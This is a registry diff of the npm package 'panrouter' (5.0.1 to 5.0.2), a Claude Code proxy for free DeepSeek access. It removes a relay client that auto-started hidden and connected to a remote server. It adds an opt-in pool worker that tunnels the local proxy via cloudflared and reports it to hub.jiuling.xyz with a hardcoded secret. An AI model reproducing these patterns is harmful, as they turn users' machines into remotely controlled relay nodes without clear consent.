panrouter 5.0.1 → 5.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cli.mjs CHANGED
@@ -1,6 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  import { execSync, spawn } from "node:child_process";
4
+ import { start as startPool, stopWorker } from "./pool-worker.mjs";
4
5
  import http from "node:http";
5
6
  import fs from "node:fs";
6
7
  import path from "node:path";
@@ -10,9 +11,7 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
10
11
  const HOME = process.env.USERPROFILE || process.env.HOME;
11
12
  const CLAUDE_DIR = path.join(HOME, ".claude");
12
13
  const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
13
- const VERSION = "4.3.0";
14
- const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
15
- const TMP_DIR = process.env.TEMP || process.env.TMPDIR || process.env.TMP || "/tmp";
14
+ const VERSION = "3.7.0";
16
15
 
17
16
  function log(label, msg, color = "") {
18
17
  const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
@@ -70,7 +69,6 @@ function stopAll() {
70
69
  try {
71
70
  if (process.platform === "win32") {
72
71
  execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
73
- execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
74
72
  execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
75
73
  }
76
74
  log("OK", "已停止所有进程", "green");
@@ -83,19 +81,14 @@ function showStatus() {
83
81
  console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
84
82
  try {
85
83
  const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
86
- const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
87
84
  const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
88
85
 
89
86
  const nodePids = nodeOut.match(/\d+/g) || [];
90
- const relayPids = relayOut.match(/\d+/g) || [];
91
87
  const psPids = psOut.match(/\d+/g) || [];
92
88
 
93
89
  if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
94
90
  else log("!!", "代理服务 (Node): 未运行", "red");
95
91
 
96
- if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
97
- else log("!!", "中继客户端 (Relay): 未运行", "red");
98
-
99
92
  if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
100
93
  else log("!!", "系统托盘 (PowerShell): 未运行", "red");
101
94
  } catch (e) {
@@ -105,7 +98,7 @@ function showStatus() {
105
98
  }
106
99
 
107
100
  function openLogs() {
108
- const logFile = path.join(TMP_DIR, "panrouter_tray.log");
101
+ const logFile = path.join(process.env.TEMP, "panrouter_tray.log");
109
102
  if (fs.existsSync(logFile)) {
110
103
  execSync(`start notepad "${logFile}"`);
111
104
  log("OK", "日志已在记事本中打开", "green");
@@ -114,60 +107,6 @@ function openLogs() {
114
107
  }
115
108
  }
116
109
 
117
- async function checkUpdate() {
118
- log("..", "正在检查更新...", "cyan");
119
- try {
120
- const raw = execSync("npm view panrouter version", { encoding: "utf8", timeout: 10000 }).toString().trim();
121
- const latest = raw.replace(/\n.*/s, "").trim();
122
- if (!latest) { log("!!", "无法获取最新版本", "red"); return; }
123
- if (latest === VERSION) {
124
- log("OK", `已是最新版本 v${VERSION}`, "green");
125
- return;
126
- }
127
- log("..", `发现新版本 v${latest} (当前 v${VERSION})`, "yellow");
128
- return latest;
129
- } catch (e) {
130
- log("!!", "检查更新失败,请检查网络连接", "red");
131
- return null;
132
- }
133
- }
134
-
135
- async function updatePackage() {
136
- console.log(`\n\x1b[36m=== Pan Router 更新 ===\x1b[0m\n`);
137
- const latest = await checkUpdate();
138
- if (!latest) return;
139
- if (latest === VERSION) return;
140
-
141
- stopAll();
142
- log("..", "正在更新...", "yellow");
143
- try {
144
- execSync("npm install -g panrouter@latest", { stdio: "inherit", timeout: 60000 });
145
- log("OK", `更新完成!v${VERSION} → v${latest}`, "green");
146
- log("..", "请重新运行 panrouter 启动服务", "cyan");
147
- } catch (e) {
148
- log("!!", "更新失败,请手动运行: npm install -g panrouter@latest", "red");
149
- }
150
- }
151
-
152
- function startRelay() {
153
- if (!fs.existsSync(RELAY_PATH)) {
154
- log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
155
- return false;
156
- }
157
- const relayLog = path.join(TMP_DIR, "panrouter_relay.log");
158
- const fd = fs.openSync(relayLog, "a");
159
- const relay = spawn(process.execPath, [RELAY_PATH], {
160
- cwd: __dirname,
161
- stdio: ["ignore", fd, fd],
162
- windowsHide: true,
163
- detached: true
164
- });
165
- relay.unref();
166
- log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
167
- log("..", `日志: ${relayLog}`, "cyan");
168
- return true;
169
- }
170
-
171
110
  async function startServer() {
172
111
  const serverPath = path.join(__dirname, "server.mjs");
173
112
  stopAll();
@@ -184,7 +123,6 @@ async function startServer() {
184
123
  await new Promise(rs => setTimeout(rs, 1000));
185
124
  }
186
125
  log("OK", "Pan Router 运行中,可以执行 claude 命令了", "green");
187
- startRelay();
188
126
  }
189
127
 
190
128
  async function startTray() {
@@ -220,8 +158,6 @@ async function startTray() {
220
158
  if (ok) log("OK", "代理服务已就绪!(端口 50816)", "green");
221
159
  else log("!!", "服务启动超时,但仍将尝试加载托盘", "red");
222
160
 
223
- startRelay();
224
-
225
161
  log("..", "正在加载系统托盘与控制台引擎...", "yellow");
226
162
 
227
163
  const tray = spawn("powershell.exe", [
@@ -259,16 +195,15 @@ function printHelp() {
259
195
 
260
196
  | 指令 | 功能 |
261
197
  |------|------|
262
- | \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
198
+ | \x1b[33mpanrouter\x1b[0m | 🔥 自动检测 Claude Code 安装(如需要) → 配路由 → 启托盘 |
263
199
  | \x1b[33mpanrouter --setup\x1b[0m | 只配路由(恢复配置用) |
264
200
  | \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
265
201
  | \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
266
202
  | \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
267
203
  | \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
268
- | \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
269
- | \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
270
- | \x1b[33mpanrouter --update\x1b[0m | 检查并更新到最新版 |
271
204
  | \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
205
+ | \x1b[33mpanrouter --pool\x1b[0m | 🌐 以算力节点模式运行,自动接入集群 |
206
+ | \x1b[33mpanrouter --pool-stop\x1b[0m | 断开集群连接 |
272
207
  | \x1b[33mpanrouter --version\x1b[0m | 版本号 |
273
208
  | \x1b[33mpanrouter --help\x1b[0m | 帮助 |
274
209
  `);
@@ -296,9 +231,6 @@ async function main() {
296
231
  case "--stop":
297
232
  stopAll();
298
233
  break;
299
- case "--update":
300
- await updatePackage();
301
- break;
302
234
  case "--logs":
303
235
  openLogs();
304
236
  break;
@@ -308,16 +240,12 @@ async function main() {
308
240
  case "--server":
309
241
  await startServer();
310
242
  break;
311
- case "--relay":
312
- console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
313
- startRelay();
243
+ case "--pool":
244
+ console.log(`\n\x1b[36m=== Pan Router 算力节点模式 ===\x1b[0m\n`);
245
+ await startPool();
314
246
  break;
315
- case "--relay-stop":
316
- log("..", "正在停止中继客户端...", "yellow");
317
- try {
318
- execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
319
- log("OK", "中继客户端已停止", "green");
320
- } catch { log("!!", "停止中继时出现问题", "red"); }
247
+ case "--pool-stop":
248
+ stopWorker();
321
249
  break;
322
250
  default:
323
251
  console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "panrouter",
3
- "version": "5.0.1",
4
- "description": "PanRouter 客户端 v5.0 自愈式组网,单例保护,指数退避重连,实时状态推送",
3
+ "version": "5.0.2",
4
+ "description": " Claude Code 免费使用 DeepSeek 等模型,无需 API Key",
5
5
  "type": "module",
6
6
  "bin": {
7
7
  "panrouter": "cli.mjs"
@@ -9,10 +9,8 @@
9
9
  "files": [
10
10
  "cli.mjs",
11
11
  "server.mjs",
12
- "relay_client.cjs",
13
- "config.json",
14
- "tray-daemon.ps1",
15
- "panrouter-tray.vbs"
12
+ "pool-worker.mjs",
13
+ "tray-daemon.ps1"
16
14
  ],
17
15
  "license": "MIT"
18
16
  }
@@ -0,0 +1,238 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Pan Router Pool Worker
5
+ * 将当前设备自动注册为集群算力节点。
6
+ * 启动 server.mjs → 拉起 cloudflared 匿名隧道 → 心跳上报主控中心。
7
+ */
8
+
9
+ import { spawn } from "node:child_process";
10
+ import https from "node:https";
11
+ import http from "node:http";
12
+ import os from "node:os";
13
+ import path from "node:path";
14
+ import fs from "node:fs";
15
+ import { fileURLToPath } from "node:url";
16
+
17
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
18
+
19
+ // ─── 配置 ────────────────────────────────────────────────────────────────────
20
+ const MAIN_HUB_URL = "https://hub.jiuling.xyz";
21
+ const AUTH_SECRET = "jiuling-super-secret-2026";
22
+ const NODE_ID = os.hostname() + "-worker-" + Math.floor(Math.random() * 1000);
23
+ const SERVER_PORT = 50816;
24
+ const PID_FILE = path.join(os.tmpdir(), "panrouter-pool-worker.pid");
25
+
26
+ let currentTunnelUrl = "";
27
+ let cloudflared = null;
28
+ let heartbeatTimer = null;
29
+
30
+ function log(msg, type = "INFO") {
31
+ const icons = { INFO: "▪", OK: "✅", ERR: "❌", HART: "💓" };
32
+ console.log(`${icons[type] || "▪"} [节点] ${msg}`);
33
+ }
34
+
35
+ // ─── 检查端口是否已占用 ──────────────────────────────────────────────────────
36
+ function isPortOpen(port) {
37
+ return new Promise((resolve) => {
38
+ const req = http.get(`http://127.0.0.1:${port}/health`, () => {});
39
+ req.on("response", () => resolve(true));
40
+ req.on("error", () => resolve(false));
41
+ req.setTimeout(1000, () => { req.destroy(); resolve(false); });
42
+ });
43
+ }
44
+
45
+ // ─── 检查 cloudflared 是否可用 ────────────────────────────────────────────────
46
+ function findCloudflared() {
47
+ const candidates = ["cloudflared", "cloudflared.exe"];
48
+ for (const name of candidates) {
49
+ try {
50
+ const r = spawn.sync?.(name, ["--version"], { stdio: "pipe" }) ?? { status: 1 };
51
+ if (r.status === 0) return name;
52
+ } catch { /* try next */ }
53
+ }
54
+ // Windows 常见安装路径兜底
55
+ const winPaths = [
56
+ path.join(process.env.USERPROFILE || "", "AppData", "Local", "cloudflared", "cloudflared.exe"),
57
+ path.join(process.env.LOCALAPPDATA || "", "cloudflared", "cloudflared.exe"),
58
+ ];
59
+ for (const p of winPaths) {
60
+ if (fs.existsSync(p)) return p;
61
+ }
62
+ return null;
63
+ }
64
+
65
+ // ─── 启动 server.mjs ─────────────────────────────────────────────────────────
66
+ async function ensureServer() {
67
+ const isOpen = await isPortOpen(SERVER_PORT);
68
+ if (isOpen) {
69
+ log(`端口 ${SERVER_PORT} 已有服务在运行,跳过启动`, "OK");
70
+ return true;
71
+ }
72
+
73
+ const serverPath = path.join(__dirname, "server.mjs");
74
+ if (!fs.existsSync(serverPath)) {
75
+ log("找不到 server.mjs", "ERR");
76
+ return false;
77
+ }
78
+
79
+ log("正在启动代理服务...");
80
+ const child = spawn(process.execPath, [serverPath], {
81
+ cwd: __dirname,
82
+ stdio: "ignore",
83
+ detached: true,
84
+ windowsHide: true,
85
+ });
86
+ child.unref();
87
+
88
+ // 等待端口就绪
89
+ for (let i = 0; i < 15; i++) {
90
+ if (await isPortOpen(SERVER_PORT)) {
91
+ log(`代理服务已就绪 (端口 ${SERVER_PORT})`, "OK");
92
+ return true;
93
+ }
94
+ await new Promise((r) => setTimeout(r, 1000));
95
+ }
96
+
97
+ log("代理服务启动超时", "ERR");
98
+ return false;
99
+ }
100
+
101
+ // ─── 启动 cloudflared 隧道 ────────────────────────────────────────────────────
102
+ function startTunnel() {
103
+ const cfPath = findCloudflared();
104
+ if (!cfPath) {
105
+ log("未找到 cloudflared,请先安装:\n Windows: scoop install cloudflared\n Termux: pkg install cloudflared\n macOS: brew install cloudflared", "ERR");
106
+ return false;
107
+ }
108
+
109
+ log("正在请求匿名公网入口...");
110
+
111
+ // 清理旧进程
112
+ if (cloudflared) {
113
+ try { cloudflared.kill(); } catch {}
114
+ }
115
+
116
+ cloudflared = spawn(cfPath, ["tunnel", "--url", `http://127.0.0.1:${SERVER_PORT}`], {
117
+ stdio: ["ignore", "pipe", "pipe"],
118
+ windowsHide: true,
119
+ });
120
+
121
+ cloudflared.stderr.on("data", (data) => {
122
+ const text = data.toString();
123
+ const match = text.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/);
124
+ if (match && match[0] !== currentTunnelUrl) {
125
+ currentTunnelUrl = match[0];
126
+ log(`成功获取公网入口: ${currentTunnelUrl}`, "OK");
127
+ pushToHub();
128
+ }
129
+ });
130
+
131
+ cloudflared.on("exit", (code) => {
132
+ log(`cloudflared 进程退出 (code: ${code})`, code === 0 ? "INFO" : "ERR");
133
+ cloudflared = null;
134
+ });
135
+
136
+ return true;
137
+ }
138
+
139
+ // ─── 心跳上报 ─────────────────────────────────────────────────────────────────
140
+ function pushToHub() {
141
+ if (!currentTunnelUrl) return;
142
+
143
+ const payload = JSON.stringify({
144
+ nodeId: NODE_ID,
145
+ url: currentTunnelUrl,
146
+ });
147
+
148
+ const req = https.request(
149
+ MAIN_HUB_URL,
150
+ {
151
+ method: "POST",
152
+ headers: {
153
+ "Content-Type": "application/json",
154
+ "Content-Length": Buffer.byteLength(payload),
155
+ "x-secret-token": AUTH_SECRET,
156
+ },
157
+ },
158
+ (res) => {
159
+ let body = "";
160
+ res.on("data", (c) => (body += c));
161
+ res.on("end", () => {
162
+ log(`状态已同步至主控中心 (${res.statusCode})`, "HART");
163
+ });
164
+ }
165
+ );
166
+
167
+ req.on("error", (e) => log(`主控节点失联: ${e.message}`, "ERR"));
168
+ req.write(payload);
169
+ req.end();
170
+ }
171
+
172
+ // ─── 写入 PID 文件 ────────────────────────────────────────────────────────────
173
+ function writePid() {
174
+ try {
175
+ fs.writeFileSync(PID_FILE, String(process.pid), "utf-8");
176
+ } catch {}
177
+ }
178
+
179
+ function readPid() {
180
+ try {
181
+ return parseInt(fs.readFileSync(PID_FILE, "utf-8").trim(), 10);
182
+ } catch {
183
+ return null;
184
+ }
185
+ }
186
+
187
+ // ─── 停止 ─────────────────────────────────────────────────────────────────────
188
+ function stop() {
189
+ log("正在停止节点服务...");
190
+
191
+ if (heartbeatTimer) clearInterval(heartbeatTimer);
192
+
193
+ if (cloudflared) {
194
+ try { cloudflared.kill(); } catch {}
195
+ cloudflared = null;
196
+ }
197
+
198
+ try {
199
+ if (fs.existsSync(PID_FILE)) fs.unlinkSync(PID_FILE);
200
+ } catch {}
201
+
202
+ log("节点已断开集群", "OK");
203
+ }
204
+
205
+ // ─── 主流程 ────────────────────────────────────────────────────────────────────
206
+ export async function start() {
207
+ log(`节点 ID: ${NODE_ID}`);
208
+
209
+ // 1. 确保 server.mjs 在运行
210
+ const serverOk = await ensureServer();
211
+ if (!serverOk) {
212
+ log("无法启动代理服务,终止接入", "ERR");
213
+ process.exit(1);
214
+ }
215
+
216
+ // 2. 启动 cloudflared 隧道
217
+ const tunnelOk = startTunnel();
218
+ if (!tunnelOk) {
219
+ log("无法启动隧道,终止接入", "ERR");
220
+ process.exit(1);
221
+ }
222
+
223
+ // 3. 写 PID
224
+ writePid();
225
+
226
+ // 4. 启动心跳定时器 (每 60 秒)
227
+ heartbeatTimer = setInterval(pushToHub, 60000);
228
+
229
+ // 5. 优雅退出
230
+ process.on("SIGINT", () => { stop(); process.exit(0); });
231
+ process.on("SIGTERM", () => { stop(); process.exit(0); });
232
+
233
+ log("节点已成功接入集群,等待主控中心调度...", "OK");
234
+ }
235
+
236
+ export function stopWorker() {
237
+ stop();
238
+ }
package/tray-daemon.ps1 CHANGED
@@ -1,4 +1,4 @@
1
- <#
1
+ <#
2
2
  .SYNOPSIS
3
3
  Pan Router 托盘守护脚本 (原生桌面控制台版 - 作用域修复)
4
4
  #>
@@ -23,41 +23,6 @@ try {
23
23
  if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
24
24
  }
25
25
 
26
- $relayPath = Join-Path $scriptDir "relay_client.cjs"
27
-
28
- # ─── 中继客户端管理 ──────────────────────────────────────────
29
- function Start-Relay {
30
- $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
31
- Where-Object CommandLine -match "relay_client\.cjs"
32
- if ($procs) { return } # 已经在运行
33
-
34
- if (-not (Test-Path $relayPath)) { return }
35
- try {
36
- $psi = New-Object System.Diagnostics.ProcessStartInfo
37
- $psi.FileName = $nodePath
38
- $psi.Arguments = "`"$relayPath`""
39
- $psi.WorkingDirectory = $scriptDir
40
- $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
41
- $psi.CreateNoWindow = $true
42
- $psi.UseShellExecute = $false
43
- $psi.RedirectStandardOutput = $true
44
- $psi.RedirectStandardError = $true
45
- [System.Diagnostics.Process]::Start($psi) | Out-Null
46
- } catch { }
47
- }
48
-
49
- function Stop-Relay {
50
- Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
51
- Where-Object CommandLine -match "relay_client\.cjs" |
52
- ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
53
- }
54
-
55
- function Is-RelayRunning {
56
- $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
57
- Where-Object CommandLine -match "relay_client\.cjs"
58
- return ($null -ne $procs -and $procs.Count -gt 0)
59
- }
60
-
61
26
  # ─── 管理后台代理 ──────────────────────────────────────────
62
27
  function Start-Backend {
63
28
  Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
@@ -87,7 +52,6 @@ try {
87
52
  } catch {}
88
53
 
89
54
  if (-not $portOpen) { Start-Backend }
90
- Start-Relay
91
55
 
92
56
  # ─── 初始化托盘图标 ─────────────────────────────────────────
93
57
  $notifyIcon = New-Object System.Windows.Forms.NotifyIcon
@@ -237,39 +201,6 @@ try {
237
201
  $notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
238
202
  })
239
203
  $menu.MenuItems.Add($restartItem) | Out-Null
240
- $menu.MenuItems.Add("-") | Out-Null
241
-
242
- $relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
243
- $relayStatus.Enabled = $false
244
- $menu.MenuItems.Add($relayStatus) | Out-Null
245
-
246
- $relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
247
- $relayRestart.Add_Click({
248
- Stop-Relay
249
- Start-Sleep -Milliseconds 500
250
- Start-Relay
251
- if (Is-RelayRunning) {
252
- $notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
253
- }
254
- })
255
- $menu.MenuItems.Add($relayRestart) | Out-Null
256
-
257
- $relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
258
- $relayLogItem.Add_Click({
259
- $logFile = "$env:TEMP\panrouter_relay.log"
260
- if (Test-Path $logFile) { Start-Process notepad $logFile }
261
- })
262
- $menu.MenuItems.Add($relayLogItem) | Out-Null
263
- $menu.MenuItems.Add("-") | Out-Null
264
-
265
- # 定时刷新中继状态
266
- $refreshTimer = New-Object System.Windows.Forms.Timer
267
- $refreshTimer.Interval = 5000
268
- $refreshTimer.Add_Tick({
269
- if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
270
- else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
271
- })
272
- $refreshTimer.Start()
273
204
 
274
205
  $autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
275
206
  try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
@@ -289,7 +220,6 @@ try {
289
220
  $exitItem = New-Object System.Windows.Forms.MenuItem("退出")
290
221
  $exitItem.Add_Click({
291
222
  $notifyIcon.Visible = $false
292
- Stop-Relay
293
223
  Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
294
224
  [System.Windows.Forms.Application]::Exit()
295
225
  })
package/config.json DELETED
@@ -1,11 +0,0 @@
1
- {
2
- "// 说明": "PanRouter 组网配置文件 — 修改后重启 daemon 生效",
3
- "relayServerUrl": "wss://jiuling.xyz/ws",
4
- "nodeId": "",
5
- "relayToken": "",
6
- "autoConnect": true,
7
- "// relayServerUrl": "中继服务器 WebSocket 地址,留空则不自动组网",
8
- "// nodeId": "本节点的唯一标识,留空则自动生成 (hostname-pid)",
9
- "// relayToken": "可选,服务器要求认证时使用",
10
- "// autoConnect": "设为 false 禁用启动即组网"
11
- }
@@ -1,13 +0,0 @@
1
- ' Pan Router Tray Launcher
2
- ' 由 cli.mjs --tray 通过 cmd /c start /B 启动
3
- ' 与 daemon 进程树无关, 独立 Window Station
4
-
5
- Dim WshShell, FSO, ScriptDir
6
- Set WshShell = CreateObject("WScript.Shell")
7
- Set FSO = CreateObject("Scripting.FileSystemObject")
8
-
9
- ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
10
-
11
- ' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
12
- ' 0 = 隐藏窗口, False = 不等待返回
13
- WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False
package/relay_client.cjs DELETED
@@ -1,466 +0,0 @@
1
- /**
2
- * PanRouter 高可用中继客户端 v3.0
3
- *
4
- * 核心特性:
5
- * 1. 单例保护锁(端口 28999)— 防双开竞争
6
- * 2. 收到服务端 kick 消息 → 直接退出不重连
7
- * 3. 指数退避重连(Exponential Backoff with Jitter)
8
- * 4. 本地心跳看门狗(45s 无数据自动重连)
9
- * 5. 支持 --server 和 --id 命令行参数
10
- *
11
- * 运行: node relay_client.cjs --server ws://localhost:8888/ws --id my-node-001
12
- */
13
-
14
- // ─── Node 24 内置 WebSocket(无需安装 ws 包) ──────────────
15
- const WebSocket = globalThis.WebSocket;
16
- const WS_OPEN = WebSocket.OPEN;
17
- const net = require('net');
18
-
19
- // ─── Anthropic ↔ OpenAI 格式转换(内嵌,不动服务端和管理版) ──
20
- const MODEL_MAP = { "combo": "deepseek-v4-flash-free" };
21
- const DEFAULT_MODEL = "deepseek-v4-flash-free";
22
-
23
- function claudeToOpenAI(body) {
24
- const result = { messages: [], stream: false };
25
- const raw = body.model || "";
26
- const name = raw.includes("/") ? raw.split("/").pop() : raw;
27
- result.model = MODEL_MAP[name] || MODEL_MAP[raw] || DEFAULT_MODEL;
28
-
29
- if (body.max_tokens) result.max_tokens = body.max_tokens;
30
- if (body.temperature !== undefined) result.temperature = body.temperature;
31
- if (body.top_p !== undefined) result.top_p = body.top_p;
32
- if (body.system) {
33
- const txt = Array.isArray(body.system)
34
- ? body.system.map(s => s.text || "").filter(Boolean).join("\n")
35
- : String(body.system);
36
- if (txt) result.messages.push({ role: "system", content: txt });
37
- }
38
- if (Array.isArray(body.messages)) {
39
- for (const m of body.messages) {
40
- const c = convertMsg(m);
41
- if (Array.isArray(c)) result.messages.push(...c);
42
- else if (c) result.messages.push(c);
43
- }
44
- }
45
- if (Array.isArray(body.tools)) {
46
- result.tools = body.tools.map(t => ({
47
- type: "function",
48
- function: { name: t.name, description: String(t.description || ""), parameters: t.input_schema || { type: "object", properties: {} } },
49
- }));
50
- }
51
- if (body.tool_choice) {
52
- const tc = body.tool_choice;
53
- if (tc.type === "tool") result.tool_choice = { type: "function", function: { name: tc.name } };
54
- else result.tool_choice = tc.type === "any" ? "required" : tc.type;
55
- }
56
- if (body.stop_sequences) result.stop = Array.isArray(body.stop_sequences) ? body.stop_sequences : [body.stop_sequences];
57
- return result;
58
- }
59
-
60
- function convertMsg(m) {
61
- if (m.role === "user") return convertUser(m);
62
- if (m.role === "assistant") return convertAssistant(m);
63
- if (m.role === "tool") return { role: "tool", tool_call_id: m.tool_use_id, content: flatText(m.content) };
64
- return null;
65
- }
66
-
67
- function convertUser(m) {
68
- if (typeof m.content === "string") return { role: "user", content: m.content };
69
- if (!Array.isArray(m.content)) return { role: "user", content: "" };
70
- const parts = [], toolResults = [];
71
- for (const b of m.content) {
72
- if (b.type === "text") parts.push(b.text);
73
- if (b.type === "tool_result") toolResults.push({ role: "tool", tool_call_id: b.tool_use_id, content: flatText(b.content) });
74
- }
75
- if (toolResults.length > 0) {
76
- if (parts.length) toolResults.push({ role: "user", content: parts.join("") });
77
- return toolResults;
78
- }
79
- return { role: "user", content: parts.join("") };
80
- }
81
-
82
- function convertAssistant(m) {
83
- if (typeof m.content === "string") return m.content ? { role: "assistant", content: m.content } : null;
84
- if (!Array.isArray(m.content)) return null;
85
- const texts = [], calls = [];
86
- for (const b of m.content) {
87
- if (b.type === "text") texts.push(b.text);
88
- if (b.type === "thinking") texts.push(b.thinking || "");
89
- if (b.type === "tool_use") calls.push({ id: b.id, type: "function", function: { name: b.name, arguments: JSON.stringify(b.input || {}) } });
90
- }
91
- const r = { role: "assistant" };
92
- if (texts.length && calls.length === 0) r.content = texts.join("");
93
- if (calls.length > 0) r.tool_calls = calls;
94
- if (calls.length === 0 && texts.length === 0) r.content = "";
95
- return r;
96
- }
97
-
98
- function flatText(c) {
99
- if (typeof c === "string") return c;
100
- if (Array.isArray(c)) return c.filter(x => x.type === "text").map(x => x.text).join("\n");
101
- return "";
102
- }
103
-
104
- // OpenAI 非流式响应 → Anthropic 格式
105
- function openaiToClaudeResponse(data) {
106
- if (!data || !data.choices?.[0]?.message) return null;
107
- const choice = data.choices[0];
108
- const msg = choice.message;
109
-
110
- const result = {
111
- id: `msg_${(data.id || "").replace("chatcmpl-", "")}`,
112
- type: "message",
113
- role: "assistant",
114
- model: data.model || "unknown",
115
- content: [],
116
- stop_reason: null,
117
- stop_sequence: null,
118
- usage: {
119
- input_tokens: data.usage?.prompt_tokens || 0,
120
- output_tokens: data.usage?.completion_tokens || 0,
121
- },
122
- };
123
-
124
- const finishMap = { stop: "end_turn", tool_calls: "tool_use", length: "max_tokens", content_filter: "content_filter" };
125
- result.stop_reason = finishMap[choice.finish_reason] || choice.finish_reason || null;
126
-
127
- if (msg.content) {
128
- result.content.push({ type: "text", text: msg.content });
129
- }
130
- if (msg.tool_calls) {
131
- for (const tc of msg.tool_calls) {
132
- let input = {};
133
- try { input = JSON.parse(tc.function?.arguments || "{}"); } catch {}
134
- result.content.push({
135
- type: "tool_use",
136
- id: tc.id,
137
- name: tc.function?.name || "",
138
- input,
139
- });
140
- }
141
- }
142
-
143
- return result;
144
- }
145
-
146
- // 判断请求是否为 Anthropic 格式(需要转换)
147
- // 规则:有 messages 且至少一条 message 的 content 是数组(Anthropic 内容块)
148
- function isAnthropicFormat(body) {
149
- if (!body || typeof body !== "object" || !Array.isArray(body.messages)) return false;
150
- // 如果第一条 message 的 content 是数组(含 type/text 等字段),是 Anthropic 格式
151
- return body.messages.some(m => Array.isArray(m.content) && m.content.length > 0 && typeof m.content[0] === "object" && m.content[0].type);
152
- }
153
-
154
- // 转换 Anthropic 请求并调用 OpenCode,再转回 Anthropic 格式
155
- async function callOpenCodeWithConversion(body) {
156
- const openAIBody = claudeToOpenAI(body);
157
- log(`已转换 Anthropic→OpenAI: model=${openAIBody.model} msgs=${openAIBody.messages.length}`, "CONVERT");
158
-
159
- const res = await fetch("https://opencode.ai/zen/v1/chat/completions", {
160
- method: "POST",
161
- headers: {
162
- "Content-Type": "application/json",
163
- Authorization: "Bearer public",
164
- "x-opencode-client": "desktop",
165
- },
166
- body: JSON.stringify(openAIBody),
167
- });
168
-
169
- const data = await res.json();
170
-
171
- if (!res.ok) {
172
- log(`OpenCode API 错误: HTTP ${res.status}`, "ERROR");
173
- return { error: { message: data.error?.message || `HTTP ${res.status}` } };
174
- }
175
-
176
- const claudeResp = openaiToClaudeResponse(data);
177
- log(`已转换 OpenAI→Anthropic: stop_reason=${claudeResp?.stop_reason || "?"}`, "CONVERT");
178
- return claudeResp;
179
- }
180
-
181
- // ─── 命令行参数解析 ──────────────────────────────────────────
182
- function parseArgs() {
183
- const args = process.argv.slice(2);
184
- const opts = { server: null, id: null };
185
- for (let i = 0; i < args.length; i++) {
186
- if (args[i] === '--server' && args[i + 1]) opts.server = args[i + 1];
187
